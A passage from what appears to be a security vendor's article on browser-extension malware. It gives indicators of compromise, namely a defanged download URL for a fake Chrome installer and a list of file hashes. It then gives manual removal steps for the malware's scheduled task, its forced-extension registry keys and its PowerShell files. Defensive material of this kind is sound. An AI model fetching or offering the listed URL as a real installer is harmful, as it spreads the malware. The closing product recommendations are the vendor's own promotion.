  • https[://]securedatacorner[.]com/exe/download/ChromeSetup.exe

More hashes:

  • 3c3289569465f6888bb5f5d75995a12a9e8b9b8a
  • 0cdc202ba17c952076c37c85eece7b678ebaeef9
  • Bf0eacb1afb00308f87159f67eb3f30d63e0cb62
  • 485a7123de0eaef12e286b04a65cd79157d47fb4
  • B57022344af1b4cf15ead0bb15deacc6acb6ff18
  • 3bd71a7db286e4d73dd6a3b8ce5245b982cad327
  • C2ea4ea024d5996acb23297c1bff7f131f29311a
  • 6ca66f2ecbfdca6de6bcf3ec8dc9680eb1eea28c
  • 02eb1f019d41924299d71007a4c7fd28d009563a
  • 0c89668954744ae7deb917312bdbea9da4cc5ec7
  • 6ca66f2ecbfdca6de6bcf3ec8dc9680eb1eea28c
  • B295c9fd32eb12401263de5ec44c8f86b94938c3
  • 06941262e1361c380acb6f04608ed5ae7d1c9d32
  • 24ad4e22bfd9a7b1238c04584d1c11ba747a59c7
  • 2c0dfb4016fb7ad302b56dc8d9b98d260b094210
  • A8f4eab0b73f5056489d36eb957bd0a70c6c9e6c
  • 6bd339650f09170f3d6995ae210340aa2c86956e
  • 593b10280a926134839feb8e2f9d0da9ee9c0593
  • 6bd339650f09170f3d6995ae210340aa2c86956e
  • 7de95a8e148bfae7b671c086dd6dcffc9e796020
  • 71a0cce57881714af2558fcb3d86814e8e13e659
  • 485a7123de0eaef12e286b04a65cd79157d47fb4
  • ffdcd5acc8d5dc153ba2d7747de0c97603303e75
  • 32d3d554b4c1ba5727fccc097b8f9973921e029a
  • 7dc484d089584e93bb04652e1667854630b12d42
  • a0576d244e8c15752113534c802e4cd9f68e8e49
  • e1f8024441f84019b3124038b19e091b7214ca34
  • 06941262e1361c380acb6f04608ed5ae7d1c9d32
  • A7ff4146d7ab62fc8922d77a57086d8ff6f257cf
  • C4f464637bfbfc31b7af53a43e6d3c74877796ac
  • 2a000fd4789def61f3c4eb19d237ca7c883515bf

How To Remove This Extension Trojan Malware Attack

We’ve seen many users online enraged by the phenomenon of forcefully installed extensions on their PC, some of the users mistake this for malware within their browser and think that if they remove and install the browser again the problem will go away. The only way to successfully remove this malware is to make sure that it’s persistence mechanisms are gone. To do so, one must need to delete the scheduled task that re-activates the malware each day, and remove some registry keys. Below is a guide with step-by-step instructions on how to remove the threat.

Removing The Scheduled Task

  1. Click on the start menu \ press Winkey.
  2. Type “Task scheduler” and click on it.
  3. Once opened, click on “Task Scheduler Library”, which shows all of the tasks on the machine.
  4. The task name of the malware varies so you will need to identify it based on the following characteristics:
  5. When you click on a task from the list, it will open its details on the bottom half of the screen. Click on “Actions”.
  6. In the table below “Actions”, see if the “Details” contains a path to “c:\windows\system32” and a PowerShell script, which is a file that ends with “.ps1”. For example, “C:\Windows\system32\Printworkflowservice.ps1”.
  7. The task name will often be similar to the Powershell script name.
  8. Once you identified the malicious task, right click on it’s name.
  9. Click on “Delete”.

Removing The Registry Keys

  1. To remove the registry keys that are forcing the extensions on browsers, following these directions:
    1. Click on the start menu \ press Winkey.
    2. Type “Registry Editor” and click on it.
    3. Go to: “Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist”.
    4. In the right pane of the screen, there will be a list of extensions with a numerical value as “Name” and ExtensionID as “Data”.
    5. Right click on the name.
    6. Click “Delete”.
    7. Computer\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallForcelist.
    8. Repeat the same process for Edge Extensions at the path “Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist”.

Deleting Malware Files

At this point, the malware should not run again and the browser should be clean from the rouge extensions.

*warning*: make sure not to delete entire folder like “System32”. Those folders are important and not malicious. Carefully delete only files that match the list we provided and nothing else.

To get rid of the malware files, use following steps. Based on the IOCs list above, you can search your computer for the existence of the folders and powershell scripts. When you find them, right click and choose “Delete”.

  1. Click on the start menu \ press Winkey.
  2. Type “File Explorer” and click on it.
  3. Click on “This PC” and then on “Windows” (or the drive letter).
  4. Go to Windows → System32.
  5. Search for a powershell script that matches one of the above names from the IOCs list.
  6. Right click on it and choose “Delete”.
  7. Go back to “Windows” folder.
  8. Search for a folder with a name that matches one of the above names from the IOCs list.
  9. Right click on it and choose “Delete”.

Alternatively, installing an antivirus can also remove the threat for you.

Ways To Prevent Malware Attacks

As we stated earlier, this research article intends to shed light on this ongoing threat, highlight the larger issue of Chrome extension malware, and advocate for ways to prevent malware attacks. As the web extension economy has grown, so too have the cyber threats around extensions. Users everywhere must be made aware of these threats and look out for any possible signs that they might be affected.

In this specific case, while some users might not feel like they’re experiencing malicious activity, in reality, their devices have been compromised and so too is their data. The script we found receives information from the operator’s C2 server, so there may be other extensions that have not occurred to us that are causing harm.

Users should look to next-generation antivirus software like RAV Endpoint Protection or advanced endpoint security tools like the Online Security browser extension for defenses against malware, identity theft, and more. The responsibility, however, must not fall solely on the end user. Antivirus providers and makers of endpoint protection software must prioritize these relatively new threats to safeguard their users.